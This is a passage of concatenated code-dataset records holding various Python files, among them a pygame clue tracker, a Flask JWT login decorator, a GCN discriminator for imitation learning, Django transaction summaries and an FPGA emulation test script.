self.draw()\n\n\n # # Set the title of the screen\n # pygame.display.set_caption(\"The Game of Clue-Less\")\n #\n # # Create the actual screen\n # self.screen = pygame.display.set_mode((2560, 1440), pygame.RESIZABLE)\n #\n # running = True\n # while running:\n # self.screen.fill((0, 0, 0))\n # # event handler\n # events = pygame.event.get()\n # for event in events:\n # # Quit game in the case of a quit event\n # if event.type == pygame.QUIT:\n # # Exit the main loop\n # running = False\n # # Mouse click events\n # elif event.type == pygame.MOUSEBUTTONUP:\n # pos = pygame.mouse.get_pos()\n # self.clicked(pos)\n # self.draw()\n #\n # self.screen.blit(self.clue_tracker_surface, [0,0])\n # pygame.display.update()\n\n def init_checkboxes(self):\n for row in range(0, 25):\n row_array = []\n for col in range(0, 7):\n row_array.append(Checkbox([row, col]))\n self.checkboxes.append(row_array)\n def update_checkboxes(self, player_clue_grid):\n self.checkboxes = player_clue_grid\n\n def clicked(self, pos, offset, scaled_height, scaled_width):\n scaled_box_height = scaled_height / self.ROW_SIZE\n scaled_box_width = scaled_box_height #(scaled_width - 200) / self.COL_SIZE\n x_pos = math.floor((pos[0] - offset[0]) / scaled_box_width)\n y_pos = math.floor((pos[1] - offset[1]) / scaled_box_height)\n\n if x_pos < self.COL_SIZE and x_pos >= 0 and y_pos < self.ROW_SIZE and y_pos >= 0:\n self.checkboxes[y_pos][x_pos].click()\n\n\n def draw(self):\n self.clue_tracker_surface = pygame.Surface((2560, 1440))\n player_count = 0\n for row in range(0, self.ROW_SIZE):\n row_adjusted = row * self.BOX_SIZE\n for col in range(0, self.COL_SIZE):\n col_adjusted = col * self.BOX_SIZE\n if row in [1, 8, 15]:\n rect = pygame.Rect(col_adjusted, row_adjusted, self.BOX_SIZE + 2, self.BOX_SIZE)\n pygame.draw.rect(self.clue_tracker_surface, (255, 255, 255), rect)\n else:\n rect = pygame.Rect(col_adjusted, row_adjusted, self.BOX_SIZE, self.BOX_SIZE)\n pygame.draw.rect(self.clue_tracker_surface, (255, 255, 255), rect, 2)\n if row == 0:\n player_count = player_count + 1\n number_surface = self.font.render(str(player_count), False, (255, 255, 255))\n number_rect = number_surface.get_rect(center=(col_adjusted + self.BOX_SIZE / 2,\n row_adjusted + self.BOX_SIZE / 2))\n self.clue_tracker_surface.blit(number_surface, number_rect)\n\n if self.checkboxes[row][col].checked:\n pygame.draw.line(self.clue_tracker_surface,\n (255,255,255),\n [col_adjusted, row_adjusted],\n [col_adjusted + self.BOX_SIZE, row_adjusted +self.BOX_SIZE],\n 3)\n pygame.draw.line(self.clue_tracker_surface,\n (255, 255, 255),\n [col_adjusted + self.BOX_SIZE, row_adjusted],\n [col_adjusted, row_adjusted + self.BOX_SIZE],\n 3)\n text_surface = self.font.render(self.row_text[row], False, (255, 255, 255))\n text_rect = text_surface.get_rect(center=(self.COL_SIZE * self.BOX_SIZE + 100, row_adjusted + 2 + 10))\n if row in [0, 1, 8, 15]:\n self.clue_tracker_surface.blit(text_surface, (self.COL_SIZE * self.BOX_SIZE, row_adjusted + 2))\n else:\n self.clue_tracker_surface.blit(text_surface, text_rect)\n","sub_path":"clue_tracker.py","file_name":"clue_tracker.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"508865656","text":"import datetime\nfrom time import sleep\n\n\n\n# returns seconds to wait to start alarm\ndef howlong(alarmtime):\n now = datetime.datetime.now() # get current date & time\n\n # separate date and time from each other:\n currdate = datetime.date(getattr(now, \"year\"), getattr(now, \"month\"), getattr(now, \"day\"))\n currtime = datetime.time(getattr(now, \"hour\"), getattr(now, \"minute\"))\n\n # convert user entered time into python time format\n alarmtime = datetime.datetime.strptime(alarmtime, '%H:%M')\n alarmtime = datetime.time(getattr(alarmtime, \"hour\"), getattr(alarmtime, \"minute\"))\n # add today's date onto the alarm time entered\n alarmdatetime = datetime.datetime.combine(currdate, alarmtime)\n\n if alarmtime < currtime: # if the alarm time is less than the current time set clock for tomorrow\n alarmdatetime += datetime.timedelta(hours=24)\n\n return alarmdatetime - now\n\n\n\ndef start_alarm(time):\n\n usertime = time;\n z = howlong(usertime)\n print(z)\n sleep(z.seconds) # wait until it is time for the alarm to go off\n print(\"Get up and start your day!\")","sub_path":"alarm_tester.py","file_name":"alarm_tester.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"9987422","text":"#导入SparkContext,SparkConf,SparkFiles\r\nfrom pyspark import SparkConf,SparkContext,SparkFiles\r\n#导入os\r\nimport os\r\n#导入numpy\r\nimport numpy as np\r\n#文件目录地址\r\ntempdir = '/root/pyspark/'\r\n#文件地址\r\npath = os.path.join(tempdir,'words.txt')\r\n#打开文件,给写的权限\r\nwith open(path,'w') as f:\r\n\tf.write('100')\r\n#创建一个SparkConf对象\r\nconf = SparkConf()\r\n#设置为本地模式\r\nconf.set('master','spark://hadoop4:7077')\r\n#初始化一个SparkContext对象\r\nsc = SparkContext(conf=conf)\r\n#将本地文件上传到集群\r\nsc.addFile(path)\r\n#调用parallelize方法创建RDD\r\nrdd = sc.parallelize(np.arange(10))\r\n#定义一个函数\r\ndef fun(iterable):\r\n\twith open(SparkFiles.get('words.txt')) as f:\r\n\t\tvalue = int(f.readline())\r\n\t\treturn [x * value for x in iterable]\r\n#\r\nprint(rdd.mapPartitions(fun).collect())\r\n#关闭SparkContext,释放资源\r\nsc.stop()","sub_path":"addFile.py","file_name":"addFile.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"512507175","text":"# import json\nimport csv\nfrom ase.io import write\nfrom ase.db import connect\n\nfilepath = '../../data/cgcnn/data_perovskites/'\ndatabase = filepath + 'cubic_perovskites.db'\ndb = connect(database)\n\n# for row in db.select(combination='ABO3'):\n# \tif 'Pb' in row.formula and 'Mn' in row.formula:\n# \t\tprint(row)\n# \t\tprint(row.heat_of_formation_all)\n# \t\tprint(row.combination)\n# \t\tformula = row.A_ion + row.B_ion + row.anion\n# \t\tprint(formula)\n\nmax_data_to_pick = len(db) - 470\ncounter = 0\nskipped_count = 0\nidprop_list = []\nfor row in db.select('unique_id>0'):\n\tif counter < 10000:\n\t\tidprop_list.append([counter, row.energy])\n\t\tatoms = row.toatoms()\n\t\tfilename = filepath + str(counter) + '.cif'\n\t\twrite(filename, atoms)\n\t\tprint('Written ', counter, '.cif')\n\t\tcounter += 1\n\n# Write id_prop.csv\nwith open(filepath + '/id_prop.csv', 'w') as file:\n\twriter = csv.writer(file)\n\twriter.writerows(idprop_list)\nprint(\"Written id_prop.csv\")\n\n# row = read('data_cmr/cubic_perovskites.db@' + str(counter))\n# chemical_formula = row[0].get_chemical_formula()\n# print(chemical_formula)\n# calc = row[0].get_calculator()\n# print(calc.results['energy'])","sub_path":"code/cmr_databsae.py","file_name":"cmr_databsae.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"429900903","text":"import jwt\nimport datetime\nfrom flask import jsonify, request, url_for, make_response\nfrom flasgger import swag_from\nfrom ..models import User\nfrom . import api\nfrom .. import known_usernames, SECRET_KEY\nfrom functools import wraps\nfrom ..functions import make_json_reply\n\n\ndef token_required(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n \"\"\" checks token and creates a current_user object with users information\"\"\"\n token = None\n if 'x-access-token' in request.headers:\n token = request.headers['x-access-token']\n if not token:\n return make_json_reply('message ',\n 'Unauthorized access token is missing'), 401\n try:\n data = jwt.decode(token, SECRET_KEY)\n current_user = User.get_user(user_id=data['id'])\n except:\n return make_json_reply('message', 'Token is invalid'), 401\n return f(current_user, *args, **kwargs)\n\n return decorated\n\n\n@api.route('/api/v1/auth/login', methods=['POST'])\n@swag_from('swagger/users/login_user.yml')\ndef login():\n \"\"\" This logs a registered user into system and creates a unique token for them\"\"\"\n auth = request.authorization\n if not auth or not auth.username and auth.password:\n return make_response(\n \"Could not verify\", 401, {\n 'WWW-Authenticate':\n 'Basic Realm=\"url_for(\\'api.login\\',_external=True)\"'\n })\n user = User.login(auth.username, auth.password)\n if not user:\n return make_response(\n \"Could not verify! if you are not a user register otherwise try again\",\n 401, {\n 'WWW-Authenticate':\n 'Basic Realm =' + str(url_for('api.login', _external=True))\n })\n if user:\n token = jwt.encode(\n {\n 'id': User.get_user_id_by_username(auth.username),\n 'exp':\n datetime.datetime.utcnow() + datetime.timedelta(minutes=20)\n },\n SECRET_KEY)\n return make_json_reply('Use Token', token.decode('UTF-8')), 200\n else:\n return make_response(\n \"Could not verify! if you are not a user, register otherwise try again\"\n + str(url_for('api.login', _external=True))), 401\n","sub_path":"app/api_v_1/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"50484678","text":"import scipy.sparse as sp\nimport tensorflow as tf\nimport numpy as np\n\nimport tf_util as U\nfrom misc_util import RunningMeanStd\n\nfrom gcn_layers import *\nfrom gcn_metrics import *\nfrom gcn_utils import *\n\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\n\n\nclass GCN(object):\n def __init__(self, placeholders, input_dim, **kwargs):\n allowed_kwargs = {'name', 'logging'}\n for kwarg in kwargs.keys():\n assert kwarg in allowed_kwargs, 'Invalid keyword argument: ' + kwarg\n name = kwargs.get('name')\n if not name:\n name = self.__class__.__name__.lower()\n self.name = name\n\n logging = kwargs.get('logging', False)\n self.logging = logging\n\n self.vars = {}\n self.placeholders = {}\n\n self.layers = []\n self.activations = []\n\n self.inputs = None\n self.outputs = None\n\n self.loss = 0\n self.accuracy = 0\n self.optimizer = None\n self.opt_op = None\n\n\n self.inputs = placeholders['features']\n self.input_dim = input_dim\n # self.input_dim = self.inputs.get_shape().as_list()[1] # To be supported in future Tensorflow versions\n self.output_dim = placeholders['labels'].get_shape().as_list()[1]\n self.placeholders = placeholders\n\n self.optimizer = tf.train.AdamOptimizer(learning_rate=FLAGS.learning_rate)\n\n self.build()\n\n def _loss(self):\n # Weight decay loss\n for var in self.layers[0].vars.values():\n self.loss += FLAGS.weight_decay * tf.nn.l2_loss(var)\n\n # Cross entropy error\n self.loss += masked_softmax_cross_entropy(self.outputs, self.placeholders['labels'],\n self.placeholders['labels_mask'])\n\n def _accuracy(self):\n self.accuracy = masked_accuracy(self.outputs, self.placeholders['labels'],\n self.placeholders['labels_mask'])\n\n def _build(self):\n\n self.layers.append(GraphConvolution(input_dim=self.input_dim,\n output_dim=FLAGS.hidden1,\n placeholders=self.placeholders,\n act=tf.nn.relu,\n dropout=True,\n sparse_inputs=True,\n logging=self.logging))\n\n self.layers.append(GraphConvolution(input_dim=FLAGS.hidden1,\n output_dim=self.output_dim,\n placeholders=self.placeholders,\n act=lambda x: x,\n dropout=True,\n logging=self.logging))\n\n def build(self):\n \"\"\" Wrapper for _build() \"\"\"\n with tf.variable_scope(self.name):\n self._build()\n\n # Build sequential layer model\n self.activations.append(self.inputs)\n for layer in self.layers:\n hidden = layer(self.activations[-1])\n self.activations.append(hidden)\n self.outputs = self.activations[-1]\n\n # Store model variables for easy access\n variables = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=self.name)\n self.vars = {var.name: var for var in variables}\n\n # Build metrics\n self._loss()\n self._accuracy()\n\n self.opt_op = self.optimizer.minimize(self.loss)\n\n def predict(self):\n return tf.nn.softmax(self.outputs)\n\n def save(self, sess=None):\n if not sess:\n raise AttributeError(\"TensorFlow session not provided.\")\n saver = tf.train.Saver(self.vars)\n save_path = saver.save(sess, \"tmp/%s.ckpt\" % self.name)\n print(\"Model saved in file: %s\" % save_path)\n\n def load(self, sess=None):\n if not sess:\n raise AttributeError(\"TensorFlow session not provided.\")\n saver = tf.train.Saver(self.vars)\n save_path = \"tmp/%s.ckpt\" % self.name\n saver.restore(sess, save_path)\n print(\"Model restored from file: %s\" % save_path)\n\n\n\ndef logsigmoid(a):\n '''Equivalent to tf.log(tf.sigmoid(a))'''\n return -tf.nn.softplus(-a)\n\n\"\"\" Reference: https://github.com/openai/imitation/blob/99fbccf3e060b6e6c739bdf209758620fcdefd3c/policyopt/thutil.py#L48-L51\"\"\"\ndef logit_bernoulli_entropy(logits):\n ent = (1.-tf.nn.sigmoid(logits))*logits - logsigmoid(logits)\n return ent\n\nclass GraphDiscriminator(object):\n def __init__(self, ob_length, hidden_size, adj, entcoeff=0.001, lr_rate=1e-3, scope=\"discriminator\"):\n self.entcoeff = entcoeff\n self.scope = scope\n self.ob_length = ob_length\n self.node_num = adj.shape[0] if isinstance(adj, np.ndarray) else tf.shape(adj)[0]\n self.obs_shape = (self.node_num, ob_length,)\n print('Observation Shape: ', self.obs_shape)\n self.hidden_size = hidden_size\n self.support = self._preprocess_adj(adj)\n self.build_ph()\n # Build grpah\n generator_logits_list, norm_generator_obs = self.build_graph(self.generator_obs_ph, reuse=False)\n expert_logits_list, norm_expert_obs = self.build_graph(self.expert_obs_ph, reuse=True)\n # Build accuracy\n generator_acc = tf.reduce_mean(tf.to_float(tf.nn.sigmoid(generator_logits_list[-1]) < 0.5))\n expert_acc = tf.reduce_mean(tf.to_float(tf.nn.sigmoid(expert_logits_list[-1]) > 0.5))\n node_losses = list()\n for generator_logits, expert_logits in zip(generator_logits_list, expert_logits_list):\n node_losses.append(self.build_node_loss(generator_logits, expert_logits, norm_expert_obs))\n node_losses = tf.add_n(node_losses)\n\n generator_loss, expert_loss, entropy, entropy_loss, regular_loss, gradient_penalty, reward = [tf.squeeze(x) for x in tf.split(node_losses,node_losses.shape[0])]\n\n all_weights = [weight for weight in self.get_trainable_variables() if \"bias\" not in weight.name]\n weight_norm = 1e-4 * tf.reduce_sum(tf.stack([tf.nn.l2_loss(weight) for weight in all_weights]))\n # Loss + Accuracy terms\n self.losses = [generator_loss, expert_loss, entropy, entropy_loss, generator_acc, expert_acc, regular_loss, weight_norm, gradient_penalty]\n self.loss_name = [\"generator_loss\", \"expert_loss\", \"entropy\", \"entropy_loss\", \"generator_acc\", \"expert_acc\", \"regular_loss\", \"weight_norm\", \"gradient_penalty\"]\n self.total_loss = generator_loss + expert_loss + entropy_loss + regular_loss + weight_norm + gradient_penalty\n # Build Reward for policy\n # self.reward_op = -tf.log(1-tf.nn.sigmoid(generator_logits)+1e-8)\n self.reward_op = reward\n var_list = self.get_trainable_variables()\n self.lossandgrad = U.function([self.generator_obs_ph, self.expert_obs_ph],\n self.losses + [U.flatgrad(self.total_loss, var_list)])\n\n def build_node_loss(self, generator_logits, expert_logits, norm_expert_obs):\n # Build regression loss\n # let x = logits, z = targets.\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n generator_loss = tf.nn.sigmoid_cross_entropy_with_logits(logits=generator_logits, labels=tf.zeros_like(generator_logits))\n generator_loss = tf.reduce_mean(generator_loss)\n expert_loss = tf.nn.sigmoid_cross_entropy_with_logits(logits=expert_logits, labels=tf.ones_like(expert_logits))\n expert_loss = tf.reduce_mean(expert_loss)\n # Build entropy loss\n logits = tf.concat([generator_logits, expert_logits], 0)\n entropy = tf.reduce_mean(logit_bernoulli_entropy(logits))\n entropy_loss = -self.entcoeff*entropy\n regular_loss = tf.nn.l2_loss(logits)\n regular_loss = 1e-4 * tf.reduce_mean(regular_loss)\n gradient_penalty = 0.1 * tf.nn.l2_loss(tf.gradients(tf.log(tf.nn.sigmoid(expert_logits)), norm_expert_obs))\n reward = tf.reduce_sum(-tf.log(1-tf.nn.sigmoid(generator_logits)+1e-8))\n return tf.stack([generator_loss, expert_loss, entropy, entropy_loss, regular_loss, gradient_penalty, reward], axis=0)\n \n def build_ph(self):\n self.generator_obs_ph = tf.placeholder(tf.float32, (None, ) + self.obs_shape, name=\"observations_ph\")\n self.expert_obs_ph = tf.placeholder(tf.float32, (None, ) + self.obs_shape, name=\"expert_observations_ph\")\n\n def build_graph(self, obs_ph, reuse=False):\n with tf.variable_scope(self.scope):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n with tf.variable_scope(\"obfilter\"):\n self.obs_rms = RunningMeanStd(shape=self.obs_shape)\n obs = (obs_ph - self.obs_rms.mean) / self.obs_rms.std #(N,G,M)\n\n layers = list()\n activations = list()\n logits_list = list()\n\n layers.append(MLP(self.ob_length,self.hidden_size,self.support))\n layers.append(GraphConvolutionLayerBatch(self.hidden_size,self.hidden_size,self.support,name=\"graphconvolutionlayer_0\"))\n layers.append(GraphConvolutionLayerBatch(self.hidden_size,self.hidden_size,self.support,name=\"graphconvolutionlayer_1\"))\n \n activations.append(obs)\n for layer in layers:\n hidden = layer(activations[-1])\n activations.append(hidden)\n for hidden in activations[1:]:\n logits_list.append(tf.contrib.layers.fully_connected(hidden, 1, activation_fn=tf.identity,reuse=tf.AUTO_REUSE,scope=\"disc\"))\n return logits_list, obs\n\n def get_trainable_variables(self):\n return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope)\n\n def get_reward(self, obs):\n sess = tf.get_default_session()\n if len(obs.shape) == 1:\n obs = np.expand_dims(obs, 0)\n feed_dict = {self.generator_obs_ph: obs}\n reward = sess.run(self.reward_op, feed_dict)\n return reward\n\n def _preprocess_adj(self, adj):\n \"\"\"Preprocessing of adjacency matrix for simple GCN model and conversion to tuple representation.\"\"\"\n adj_normalized = self._normalize_adj(adj + np.eye(adj.shape[0]))\n return adj_normalized\n\n def _normalize_adj(self, adj):\n \"\"\"Symmetrically normalize adjacency matrix.\"\"\"\n rowsum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(rowsum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = np.diag(d_inv_sqrt)\n return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt)\n\n\nif __name__==\"__main__\":\n with U.make_session(num_cpu=1) as sess:\n adj = np.ones((7,7))\n reward_giver = GraphDiscriminator(1,64,adj)\n transition_batch = np.random.randn(2,7,1)\n transition_expert = np.random.randn(2,7,1)\n\n init_op = tf.initialize_all_variables()\n sess.run(init_op)\n *newlosses, g = reward_giver.lossandgrad(transition_batch, transition_expert)\n\n # Settings\n flags = tf.app.flags\n FLAGS = flags.FLAGS\n flags.DEFINE_string('dataset', 'cora', 'Dataset string.') # 'cora', 'citeseer', 'pubmed'\n flags.DEFINE_string('model', 'gcn', 'Model string.') # 'gcn', 'gcn_cheby', 'dense'\n flags.DEFINE_float('learning_rate', 0.01, 'Initial learning rate.')\n flags.DEFINE_integer('epochs', 200, 'Number of epochs to train.')\n flags.DEFINE_integer('hidden1', 16, 'Number of units in hidden layer 1.')\n flags.DEFINE_float('dropout', 0.5, 'Dropout rate (1 - keep probability).')\n flags.DEFINE_float('weight_decay', 5e-4, 'Weight for L2 loss on embedding matrix.')\n flags.DEFINE_integer('early_stopping', 10, 'Tolerance for early stopping (# of epochs).')\n flags.DEFINE_integer('max_degree', 3, 'Maximum Chebyshev polynomial degree.')\n # Create data\n features = preprocess_features(sp.csr.csr_matrix(np.ones((6,1))))\n adj = sp.csr.csr_matrix(np.random.randn(6,6))\n support = [preprocess_adj(adj)]\n support_sparse = preprocess_adj(adj).toarray()\n support_dense = reward_giver._preprocess_adj(adj)\n\n\n y_train = np.zeros((6,2))\n y_train[:,0] = 1 \n train_mask = np.array([True for _ in range(6)])\n num_supports = 1\n\n # Define placeholders\n placeholders = {\n 'support': [tf.sparse_placeholder(tf.float32) for _ in range(num_supports)],\n 'features': tf.sparse_placeholder(tf.float32, shape=tf.constant(features[2], dtype=tf.int64)),\n 'labels': tf.placeholder(tf.float32, shape=(None, y_train.shape[1])),\n 'labels_mask': tf.placeholder(tf.int32),\n 'dropout': tf.placeholder_with_default(0., shape=()),\n 'num_features_nonzero': tf.placeholder(tf.int32) # helper variable for sparse dropout\n }\n # Create model\n\n gcn_model = GCN(placeholders, input_dim=1, logging=True)\n\n\n # Construct feed dictionary\n feed_dict = construct_feed_dict(features, support, y_train, train_mask, placeholders)\n feed_dict.update({placeholders['dropout']: FLAGS.dropout})\n\n # Initialize Session\n sess = tf.Session()\n # Init variables\n sess.run(tf.global_variables_initializer())\n # Get output\n outs = sess.run([gcn_model.opt_op, gcn_model.loss, gcn_model.accuracy], feed_dict=feed_dict)\n","sub_path":"src_gail/utils/gcn_model.py","file_name":"gcn_model.py","file_ext":"py","file_size_in_byte":13310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"477035206","text":"from django.db.models import Sum, Value\nfrom django.db.models.functions import Coalesce\n\nfrom apps.transactions.filters import (CategoriesDateFilter,\n TransactionDateFilter)\nfrom apps.transactions.models import Category, Transaction\nfrom apps.transactions.serializers.serializers import (\n AmountTransactionSerializer, SummaryCategorySerializer)\n\n\ndef summary_category(category):\n \"\"\"Сумма транзакций категории\"\"\"\n return category.annotate(amount=Coalesce(Sum('transactions__amount', ), Value(0)))\n\n\ndef summary_categories(user, filter_data) -> list[dict[str, str, int]]:\n \"\"\"Список категорий и сумма всех транзакций по каждой категории\"\"\"\n transaction_filter = TransactionDateFilter(data=filter_data, queryset=Transaction.objects.filter(owner=user))\n categories = Category.get_available_categories(user, transaction_filter)\n category_filter = CategoriesDateFilter(data=filter_data, queryset=categories)\n categories_with_amount = summary_category(category_filter.qs)\n serializer = SummaryCategorySerializer(categories_with_amount, many=True)\n return serializer.data\n\n\ndef amount_transactions(user, _filter):\n \"\"\"Сумма всех доходов и расходов\"\"\"\n qs = _filter.qs\n income_summary = qs.filter(\n owner=user, category__type='IN').aggregate(Sum('amount'))[\"amount__sum\"] or 0\n expense_summary = qs.filter(\n owner=user, category__type='EX').aggregate(Sum('amount'))[\"amount__sum\"] or 0\n return AmountTransactionSerializer({\n 'income_summary': income_summary,\n 'expense_summary': expense_summary,\n }).data\n","sub_path":"server/apps/transactions/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"502570791","text":"import pickle\nimport redis\n\ntags_dict = pickle.load(open(\"image_tags_valid.p\", \"rb\" ))\n\nr = redis.StrictRedis(host='redis-db.7ptpwl.ng.0001.use1.cache.amazonaws.com', port=6379, db=3)\n\ntot_keys = len(tags_dict)\nkey_count = 0\nfor key, vals in tags_dict.items():\n key_count += 1\n if key_count % 10 == 0:\n print(\"Processed {}/{}\".format(key_count, tot_keys))\n for tag in vals:\n r.sadd(key, tag)\n","sub_path":"tools/redis_db/create_valid_id_tag_db.py","file_name":"create_valid_id_tag_db.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"223993218","text":"# -*- coding: utf8 -*-\n\nimport webapp2\n\nfrom workers.paritet.atm_worker import AtmTaskWorker\nfrom workers.paritet.bank_worker import BankTaskWorker\n\n__all__ = (\n 'application',\n)\n\n\nBASE_URL = '/workers/paritet'\n\napplication = webapp2.WSGIApplication([\n (BASE_URL + '/atm/', AtmTaskWorker),\n (BASE_URL + '/bank/', BankTaskWorker),\n], debug=False)\n","sub_path":"workers/paritet/paritet.py","file_name":"paritet.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"286227287","text":"import os\nimport time\nimport json\nimport re\nimport yaml\nimport numpy as np\nfrom pathlib import Path\nfrom math import exp, ceil, log2\n\nfrom svreal import (RealType, DEF_HARD_FLOAT_WIDTH,\n get_hard_float_sources, get_hard_float_headers)\nfrom msdsl.function import PlaceholderFunction\nfrom anasymod.analysis import Analysis\n\nfrom dragonphy import *\nfrom dragonphy.git_util import get_git_hash_short\n\nTHIS_DIR = Path(__file__).resolve().parent\nCFG = yaml.load(open(get_file('config/fpga/chan.yml'), 'r'))\n\ndef test_1(board_name, emu_clk_freq, flatten_hierarchy):\n ########################\n # Write project config #\n ########################\n\n prj = AnasymodProjectConfig()\n prj.set_board_name(board_name)\n prj.set_emu_clk_freq(emu_clk_freq)\n prj.set_flatten_hierarchy(flatten_hierarchy)\n\n # uncomment for debug probing\n # prj.config['PROJECT']['cpu_debug_mode'] = 1\n # prj.config['PROJECT']['cpu_debug_hierarchies'] = [[0, 'top']]\n\n prj.write_to_file(THIS_DIR / 'prj.yaml')\n\n #######################\n # Write source config #\n #######################\n\n src_cfg = AnasymodSourceConfig()\n\n # JTAG-related\n src_cfg.add_edif_files([os.environ['TAP_CORE_LOC']], fileset='fpga')\n src_cfg.add_verilog_sources([get_file('vlog/fpga_models/jtag/tap_core.sv')], fileset='fpga')\n src_cfg.add_verilog_sources([get_file('vlog/fpga_models/jtag/DW_tap.sv')], fileset='fpga')\n src_cfg.add_verilog_sources([os.environ['DW_TAP']], fileset='sim')\n src_cfg.add_verilog_sources([get_file('build/cpu_models/jtag/jtag_reg_pack.sv')], fileset='sim')\n\n # Verilog Sources\n deps = get_deps_fpga_emu(impl_file=(THIS_DIR / 'tb.sv'), override={'analog_core': 'chip_src'})\n deps = [dep for dep in deps if Path(dep).stem != 'tb'] # anasymod already includes tb.sv\n src_cfg.add_verilog_sources(deps)\n src_cfg.add_verilog_sources([THIS_DIR / 'sim_ctrl.sv'], fileset='sim')\n\n # Verilog Headers\n header_file_list = [get_file('inc/fpga/iotype.sv')]\n src_cfg.add_verilog_headers(header_file_list)\n\n # Verilog Defines\n src_cfg.add_defines({'VIVADO': None})\n src_cfg.add_defines({'DT_EXPONENT': -46}) # TODO: move to DT_SCALE\n src_cfg.add_defines({'GIT_HASH': str(get_git_hash_short())}, fileset='sim')\n\n # uncomment to use floating-point for simulation only\n # src_cfg.add_defines({'FLOAT_REAL': None}, fileset='sim')\n\n # HardFloat-related defines\n # (not yet fully supported)\n if get_dragonphy_real_type() == RealType.HardFloat:\n src_cfg.add_defines({\n 'HARD_FLOAT': None,\n 'FUNC_DATA_WIDTH': DEF_HARD_FLOAT_WIDTH\n })\n src_cfg.add_verilog_sources(get_hard_float_sources())\n src_cfg.add_verilog_headers(get_hard_float_headers())\n\n # Firmware\n src_cfg.add_firmware_files([THIS_DIR / 'main.c'])\n\n # Write source config\n # TODO: interact directly with anasymod library rather than through config files\n src_cfg.write_to_file(THIS_DIR / 'source.yaml')\n\n # Update simctrl.yaml if needed\n simctrl = yaml.load(open(THIS_DIR / 'simctrl.pre.yaml', 'r'))\n if get_dragonphy_real_type() == RealType.HardFloat:\n simctrl['digital_ctrl_inputs']['chan_wdata_0']['width'] = DEF_HARD_FLOAT_WIDTH\n simctrl['digital_ctrl_inputs']['chan_wdata_1']['width'] = DEF_HARD_FLOAT_WIDTH\n yaml.dump(simctrl, open(THIS_DIR / 'simctrl.yaml', 'w'))\n\n # \"models\" directory has to exist\n (THIS_DIR / 'build' / 'models').mkdir(exist_ok=True, parents=True)\n\ndef test_2(simulator_name):\n # set defaults\n if simulator_name is None:\n simulator_name = 'vivado'\n\n # run simulation\n ana = Analysis(input=str(THIS_DIR), simulator_name=simulator_name)\n ana.set_target(target_name='sim')\n ana.simulate(convert_waveform=False)\n\ndef test_3():\n # build bitstream\n ana = Analysis(input=str(THIS_DIR))\n ana.set_target(target_name='fpga')\n ana.build()\n\ndef test_4():\n # build ELF\n ana = Analysis(input=str(THIS_DIR))\n ana.set_target(target_name='fpga')\n ana.build_firmware()\n\ndef test_5():\n # download program\n ana = Analysis(input=str(THIS_DIR))\n ana.set_target(target_name='fpga')\n ana.program_firmware()\n\ndef test_6(prbs_test_dur, jitter_rms, noise_rms, chan_tau, chan_delay):\n # read ffe_length\n SYSTEM = yaml.load(open(get_file('config/system.yml'), 'r'), Loader=yaml.FullLoader)\n ffe_length = SYSTEM['generic']['ffe']['parameters']['length']\n\n # read emu_clk_freq\n PRJ = yaml.load(open(THIS_DIR / 'prj.yaml', 'r'), Loader=yaml.FullLoader)\n emu_clk_freq = PRJ['PROJECT']['emu_clk_freq']\n\n jtag_inst_width = 5\n sc_bus_width = 32\n sc_addr_width = 14\n\n tc_bus_width = 32\n tc_addr_width = 14\n\n sc_op_width = 2\n tc_op_width = 2\n\n sc_cfg_data = 8\n sc_cfg_inst = 9\n sc_cfg_addr = 10\n tc_cfg_data = 12\n tc_cfg_inst = 13\n tc_cfg_addr = 14\n\n read = 1\n write = 2\n\n reg_list = json.load(open(get_file('build/all/jtag/reg_list.json'), 'r'))\n reg_dict = {elem['name']: elem['addresses'] for elem in reg_list}\n arr_pat = re.compile(r'([a-zA-Z_0-9]+)+\\[(\\d+)\\]')\n def get_reg_addr(name):\n m = arr_pat.match(name)\n if m:\n name = m.groups()[0]\n index = int(m.groups()[1])\n return reg_dict[name][index]\n else:\n return reg_dict[name]\n\n # connect to the CPU\n print('Connecting to the CPU...')\n ana = Analysis(input=str(THIS_DIR))\n ana.set_target(target_name='fpga')\n ctrl = ana.launch()\n ser = ctrl.ctrl_handler\n\n # functions\n def do_reset():\n ser.write('RESET\\n'.encode('utf-8'))\n\n def do_init():\n ser.write('INIT\\n'.encode('utf-8'))\n\n def set_emu_rst(val):\n ser.write(f'SET_EMU_RST {val}\\n'.encode('utf-8'))\n\n def set_rstb(val):\n ser.write(f'SET_RSTB {val}\\n'.encode('utf-8'))\n\n def set_jitter_rms(val):\n ser.write(f'SET_JITTER_RMS {val}\\n'.encode('utf-8'))\n\n def set_noise_rms(val):\n ser.write(f'SET_NOISE_RMS {val}\\n'.encode('utf-8'))\n\n def set_prbs_eqn(val):\n ser.write(f'SET_PRBS_EQN {val}\\n'.encode('utf-8'))\n\n def 